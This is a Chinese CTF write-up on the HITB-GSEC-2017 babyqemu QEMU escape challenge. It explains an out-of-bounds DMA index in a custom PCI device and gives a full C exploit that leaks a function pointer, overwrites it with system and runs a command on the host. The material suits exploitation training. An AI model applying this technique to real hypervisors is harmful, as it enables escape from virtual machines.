当dma.cmd为4|2|1时,会将dma.dst减0x40000作为索引i,然后将起始地址为dma_buf[i],长度为dma.cnt的数据利用利用opaque->enc函数加密后,再调用函数cpu_physical_memory_rw拷贝至物理地址opaque->dma.dst中。

当dma.cmd为0|1时,调用cpu_physical_memory_rw将物理地址中为dma.dst,长度为dma.cnt,拷贝到dma.dst减0x40000作为索引i,目标地址为dma_buf[i]的空间中。

void __fastcall hitb_mmio_write(HitbState *opaque, hwaddr addr, uint64_t val, unsigned int size){  uint32_t v4; // r13d  int v5; // edx  bool v6; // zf  int64_t ns; // rax   if ( (addr > 0x7F || size == 4) && (((size - 4) & 0xFFFFFFFB) == 0 || addr <= 0x7F) )  {    if ( addr == 128 )    {      if ( (opaque->dma.cmd & 1) == 0 )        opaque->dma.src = val;    }    else    {      v4 = val;      if ( addr > 128 )      {        if ( addr == 140 )        {          if ( (opaque->dma.cmd & 1) == 0 )            *(&opaque->dma.dst + 4) = val;        }        else if ( addr > 140 )        {          if ( addr == 144 )          {            if ( (opaque->dma.cmd & 1) == 0 )              opaque->dma.cnt = val;          }          else if ( addr == 152 && (val & 1) != 0 && (opaque->dma.cmd & 1) == 0 )          {            opaque->dma.cmd = val;            ns = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL_0);            timer_mod(&opaque->dma_timer, ns / 1000000 + 100);          }        }        else if ( addr == 132 )        {          if ( (opaque->dma.cmd & 1) == 0 )            *(&opaque->dma.src + 4) = val;        }        else if ( addr == 136 && (opaque->dma.cmd & 1) == 0 )        {          opaque->dma.dst = val;        }      }      else if ( addr == 32 )      {        if ( (val & 0x80) != 0 )          _InterlockedOr(&opaque->status, 0x80u);        else          _InterlockedAnd(&opaque->status, 0xFFFFFF7F);      }      else if ( addr > 0x20 )      {        if ( addr == 96 )        {          v6 = (val | opaque->irq_status) == 0;          opaque->irq_status |= val;          if ( !v6 )            hitb_raise_irq(opaque, 0x60u);        }        else if ( addr == 100 )        {          v5 = ~val;          v6 = (v5 & opaque->irq_status) == 0;          opaque->irq_status &= v5;          if ( v6 && !msi_enabled(&opaque->pdev) )            pci_set_irq(&opaque->pdev, 0);        }      }      else if ( addr == 4 )      {        opaque->addr4 = ~val;      }      else if ( addr == 8 && (opaque->status & 1) == 0 )      {        qemu_mutex_lock(&opaque->thr_mutex);        opaque->fact = v4;        _InterlockedOr(&opaque->status, 1u);        qemu_cond_signal(&opaque->thr_cond);        qemu_mutex_unlock(&opaque->thr_mutex);      }    }  }}


(3)漏洞


漏洞在hitb_dma_timer内的cpu_physical_memory_rw函数,dma_buf[]内的索引可控,就造成可以越界读写。

翻看前面的结构体发现,可以越界读enc地址,进行泄露,再将计算出的system@plt写入enc内,将"cat flag"写入dma.buf。
#include <stdio.h>#include <unistd.h>#include <stdlib.h>#include <stdint.h>#include <string.h>#include <errno.h>#include <signal.h>#include <fcntl.h>#include <ctype.h>#include <termios.h>#include <assert.h> #include <sys/types.h>#include <sys/mman.h>#include <sys/io.h> #define MAP_SIZE 4096UL#define MAP_MASK (MAP_SIZE - 1) #define DMA_BASE 0x40000  #define PAGE_SHIFT  12#define PAGE_SIZE   (1 << PAGE_SHIFT)#define PFN_PRESENT (1ull << 63)#define PFN_PFN     ((1ull << 55) - 1) char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0"; unsigned char* tmpbuf;uint64_t tmpbuf_phys_addr;unsigned char* mmio_base; unsigned char* getMMIOBase(){     int fd;    if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {        perror("open pci device");        exit(-1);    }    mmio_base = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);    if(mmio_base == (void *) -1) {        perror("mmap");        exit(-1);    }    return mmio_base;} // 获取页内偏移uint32_t page_offset(uint32_t addr){    // addr & 0xfff    return addr & ((1 << PAGE_SHIFT) - 1);} uint64_t gva_to_gfn(void *addr){    uint64_t pme, gfn;    size_t offset;     int fd;    fd = open("/proc/self/pagemap", O_RDONLY);    if (fd < 0) {        perror("open");        exit(1);    }     // printf("pfn_item_offset : %pn", (uintptr_t)addr >> 9);    offset = ((uintptr_t)addr >> 9) & ~7;     ////下面是网上其他人的代码,只是为了理解上面的代码    //一开始除以 0x1000  (getpagesize=0x1000,4k对齐,而且本来低12位就是页内索引,需要去掉),即除以2**12, 这就获取了页号了,    //pagemap中一个地址64位,即8字节,也即sizeof(uint64_t),所以有了页号后,我们需要乘以8去找到对应的偏移从而获得对应的物理地址    //最终  vir/2^12 * 8 = (vir / 2^9) & ~7    //这跟上面的右移9正好对应,但是为什么要 & ~7 ,因为你  vir >> 12 << 3 , 跟vir >> 9 是有区别的,vir >> 12 << 3低3位肯定是0,所以通过& ~7将低3位置0    // int page_size=getpagesize();    // unsigned long vir_page_idx = vir/page_size;    // unsigned long pfn_item_offset = vir_page_idx*sizeof(uint64_t);     lseek(fd, offset, SEEK_SET);    read(fd, &pme, 8);    // 确保页面存在——page is present.    if (!(pme & PFN_PRESENT))        return -1;    // physical frame number    gfn = pme & PFN_PFN;    return gfn;} uint64_t gva_to_gpa(void *addr){     uint64_t gfn = gva_to_gfn(addr);    assert(gfn != -1);    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);} void mmio_write(uint64_t addr, uint64_t value){    *((uint64_t*)(mmio_base + addr)) = value;} uint64_t mmio_read(uint64_t addr){    return *((uint64_t*)(mmio_base + addr));} void set_cnt(uint64_t val){    mmio_write(144, val);} void set_src(uint64_t val){    mmio_write(128, val);} void set_dst(uint64_t val){    mmio_write(136, val);} void start_dma_timer(uint64_t val){    mmio_write(152, val);} void dma_read(uint64_t offset, uint64_t  cnt){     // 设置dma_buf的索引    set_src(DMA_BASE + offset);    // 设置读取后要写入的物理地址    set_dst(tmpbuf_phys_addr);    // 设置读取的大小    set_cnt(cnt);    // 触发hitb_dma_timer    start_dma_timer(1|2);    // 等待上面的执行完    sleep(1);} void dma_write(uint64_t offset, char* buf, uint64_t  cnt){    // 将我们要写的内容先复制到tmpbuf    memcpy(tmpbuf, buf, cnt);    //设置物理地址(要从这读取写到dma_buf[opaque->dma.dst-0x40000])    set_src(tmpbuf_phys_addr);    // 设置dma_buf的索引    set_dst(DMA_BASE + offset);    // 设置写入大小    set_cnt(cnt);    // 触发hitb_dma_timer    start_dma_timer(1);    // 等待上面的执行完    sleep(1);} void dma_write_qword(uint64_t offset, uint64_t val){    dma_write(offset, (char *)&val, 8);} void dma_enc_read(uint64_t offset, uint64_t  cnt){    // 设置dma_buf的索引    set_src(DMA_BASE + offset);    // 设置读取后要写入的物理地址    set_dst(tmpbuf_phys_addr);    // 设置读取的大小    set_cnt(cnt);    // 触发hitb_dma_timer    start_dma_timer(1|2|4);    // 等待上面的执行完    sleep(1);} int main(int argc, char const *argv[]){    getMMIOBase();    printf("mmio_base Resource0Base: %pn", mmio_base);     tmpbuf = malloc(0x1000);    tmpbuf_phys_addr = gva_to_gpa(tmpbuf);    printf("gva_to_gpa tmpbuf_phys_addr %pn", (void*)tmpbuf_phys_addr);      printf("tmpbuf: %pn", tmpbuf);    printf("&tmpbuf: %pn", &tmpbuf);     // 将enc函数指针写到tmpbuf_phys_addr,之后通过tmpbuf读出即可    dma_read(4096, 8);    uint64_t hitb_enc_addr = *((uint64_t*)tmpbuf);    uint64_t binary_base_addr = hitb_enc_addr - 0x283DD0;    uint64_t system_addr = binary_base_addr + 0x1FDB18;    printf("hitb_enc_addr: 0x%lxn", hitb_enc_addr);    printf("binary_base_addr: 0x%lxn", binary_base_addr);    printf("system_addr: 0x%lxn", system_addr);     // 覆盖enc函数指针为system地址    dma_write_qword(4096, system_addr);    char* command = "cat flag";    dma_write(0x200, command, strlen(command));     // 触发hitb_dma_timer中的enc函数,从而调用syetem    dma_enc_read(0x200, 666);     return 0;}


参考链接:

https://xuanxuanblingbling.github.io/ctf/pwn/2022/06/09/qemu/

https://www.anquanke.com/post/id/254906#h3-5

https://www.giantbranch.cn/2019/07/17/VM%20escape%20%E4%B9%8B%20QEMU%20Case%20Study/

https://www.giantbranch.cn/2020/01/02/CTF%20QEMU%20%E8%99%9A%E6%8B%9F%E6%9C%BA%E9%80%83%E9%80%B8%E4%B9%8BHITB-GSEC-2017-babyqemu/

题目下载地址
链接:
https://pan.baidu.com/s/1vVjJ6ohHGaZTAVfD68OrlQ 
提取码: eeee



QEMU逃逸系列


看雪ID:e*16 a

https://bbs.pediy.com/user-home-922338.htm

*本文由看雪论坛 e*16 a 原创,转载请注明来自看雪社区

QEMU逃逸系列

看雪2022KCTF秋季赛官网:https://ctf.pediy.com/game-team_list-18-29.htm



# 往期推荐

1.CVE-2022-21882提权漏洞学习笔记

2.wibu证书 - 初探

3.win10 1909逆向之APIC中断和实验

4.EMET下EAF机制分析以及模拟实现

5.sql注入学习分享

6.V8 Array.prototype.concat函数出现过的issues和他们的POC们


QEMU逃逸系列


QEMU逃逸系列

球分享

QEMU逃逸系列

球点赞

QEMU逃逸系列

球在看


QEMU逃逸系列

点击“阅读原文”,了解更多!

原文始发于微信公众号(看雪学苑):QEMU逃逸系列

版权声明:admin 发表于 2022年11月30日 下午6:00。
转载请注明:QEMU逃逸系列 | CTF导航

相关文章

暂无评论

暂无评论...